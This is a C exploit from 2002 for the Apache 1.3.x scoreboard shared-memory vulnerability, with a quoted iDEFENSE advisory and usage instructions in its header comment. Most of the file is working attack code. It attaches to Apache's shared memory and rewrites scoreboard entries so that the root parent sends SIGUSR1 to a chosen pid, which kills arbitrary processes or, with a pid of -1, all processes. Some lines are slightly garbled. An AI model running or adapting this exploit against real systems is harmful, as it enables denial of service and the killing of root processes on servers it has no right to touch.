/* apache 1.3.x (x<27) scoreboard shared memory exploit write by alert7 < alert7@xfocus.org > homepage http://www.xfocus.net http://www.whitecell.org/ gcc -o apache_scoreboard_exploit apache_scoreboard_exploit.c usage: ./apache_scoreboard_exploit pid [apache uid] default use getuid to get apache_uid if pid = -1 ,kill all processes in system to kill pid process include root process [root@redhat73 alert7]# ./apache_openssl_exploit 10 127.0.0.1 Linux redhat73 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown uid=48(apache) gid=48(apache) groups=48(apache) ./apache_scoreboard_exploit 12097 <---input command process 12097 will be killed 2002-10-10 ------------------------------------------------------------------------------ COMMAND Apache permits process shutdown with scripting via shared memory scoreboard SYSTEMS AFFECTED Apache 1.3.x (x<27) PROBLEM Thanks to zen-parse [zen-parse@gmx.net] who disclosed this issue to iDEFENSE, David Endler [dendler@idefense.com] [http://www.idefense.com] posted : Apache HTTP Server contains a vulnerability in its shared memory scoreboard. Attackers who can execute commands under the Apache UID can either send a (SIGUSR1) signal to any process as root, in most cases killing the process, or launch a local denial of service (DoS) attack. Exploitation requires execute permission under the Apache UID. This can be obtained by any local user with a legitimate Apache scripting resource (ie: PHP, Perl), exploiting a vulnerability in web-based applications written in the above example languages, or through the use of some other local/remote Apache exploit. Once such a status is attained, the attacker can then attach to the httpd daemon's 'scoreboard', which is stored in a shared memory segment owned by Apache. The attacker can then cause a DoS condition on the system by continuously filling the table with null values and causing the server to spawn new children. The attacker also has the ability to send any process a SIGUSR1 signal as root. This is accomplished by continuously overwriting the parent[].pid and parent[].last_rtime segments within the scoreboard to the pid of the target process and a time in the past. When the target pid receives the signal SIGUSR1, it will react according to how it is designed to manage the signal. According to the man page (man 7 signal), if the signal is un-handled then the default action is to terminate: ... SIGUSR1 30,10,16 A User-defined signal 1 ... The letters in the "Action" column have the following meanings: A Default action is to terminate the process. ... iDEFENSE successfully terminated arbitrary processes, including those that "kicked" people off the system. SOLUTION Apache HTTP Server 1.3.27 fixes this problem. It should be available on October 3 at : http://www.apache.org/dist/httpd/ -------------------------------------------------------------------------------- */ #include #include #include #include #include #include #include #include #include #include #include #include #define OPTIMIZE_TIMEOUTS #ifdef WIN32 #define HARD_SERVER_LIMIT 1024 #elif defined(NETWARE) #define HARD_SERVER_LIMIT 2048 #else #define HARD_SERVER_LIMIT 256 #endif //typedef char * caddr_t; typedef unsigned vtime_t; typedef int ap_generation_t; typedef char server_rec; /* stuff which the children generally write, and the parent mainly reads */ typedef struct { #ifdef OPTIMIZE_TIMEOUTS vtime_t cur_vtime; /* the child's current vtime */ unsigned short timeout_len; /* length of the timeout */ #endif unsigned char status; unsigned long access_count; unsigned long bytes_served; unsigned long my_access_count; unsigned long my_bytes_served; unsigned long conn_bytes; unsigned short conn_count; #if defined(NO_GETTIMEOFDAY) clock_t start_time; clock_t stop_time; #else struct timeval start_time; struct timeval stop_time; #endif #ifndef NO_TIMES struct tms times; #endif #ifndef OPTIMIZE_TIMEOUTS time_t last_used; #endif char client[32]; /* Keep 'em small... */ char request[64]; /* We just want an idea... */ server_rec *vhostrec; /* What virtual host is being accessed? */ /* SEE ABOVE FOR SAFE USAGE! */ } short_score; typedef struct { ap_generation_t running_generation; /* the generation of children which * should still be serving requests. */ } global_score; /* stuff which the parent generally writes and the children rarely read */ typedef struct { pid_t pid; #ifdef OPTIMIZE_TIMEOUTS time_t last_rtime; /* time(0) of the last change */ vtime_t last_vtime; /* the last vtime the parent has seen */ #endif ap_generation_t generation; /* generation of this child */ } parent_score; typedef struct { short_score servers[HARD_SERVER_LIMIT]; parent_score parent[HARD_SERVER_LIMIT]; global_score global; } scoreboard; #define SCOREBOARD_SIZE sizeof(scoreboard) void usage(void) { printf("apache 1.3.x (x<27) scoreboard shared memory exploit\n" "write by alert7 < alert7@xfocus.org >\n" "homepage http://www.xfocus.net http://www.whitecell.org/\n\n" "usage: ./apache_scoreboard_exploit pid [apache uid]\n" "default use getuid to get apache_uid\n" "if pid = -1 ,kill all processes in system\n" "to kill pid process include root process\n\n"); printf( " [root@redhat73 alert7]# ./apache_openssl_exploit 10 127.0.0.1 Linux redhat73 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown uid=48(apache) gid=48(apache) groups=48(apache) ./apache_scoreboard_exploit 12097 <---input command process 12097 will be killed "); } extern int errno; int main(int argc, char *argv[]) { char * m; int i; scoreboard *ap_scoreboard_image; time_t now = time(NULL); key_t shmkey = IPC_PRIVATE; int shmid = -1; struct shmid_ds shm_buf; int apachid=getuid(); if ((argc !=2)&&(argc !=3 ) ) { usage(); exit(0); } if (argc ==3) { apachid=atoi(argv[2]); } for (i=0;i<100 ;i++ ) { shmid = shmctl(i, 0x10d /* SHM_??? */, &shm_buf); //printf("%d %d\n",shmid,shm_buf.shm_perm.uid); if (shmid == -1) { printf("Not found apache shared memory\n"); exit(0); } if (shm_buf.shm_perm.uid==apachid) { if (shm_buf.shm_nattch > 4) break; } } m = shmat(shmid,NULL,0); if (m == -1) { perror("shmat"); exit(-1); } // printf("share mem scoreboard addr :%p\n",m); printf("apache 1.3.x (x<27) scoreboard shared memory exploit\n" "write by alert7 < alert7@xfocus.org >\n" "homepage http://www.xfocus.net http://www.whitecell.org/\n\n" ); ap_scoreboard_image = (scoreboard *) m; for (i=0;iparent[i].pid = atoi(argv[1]); ap_scoreboard_image->parent[i].last_rtime = now-3*60*60;//使用三个小时 ap_scoreboard_image->servers[i].status = 2; } printf("process %s will be killed\n\n",argv[1]); return 0; }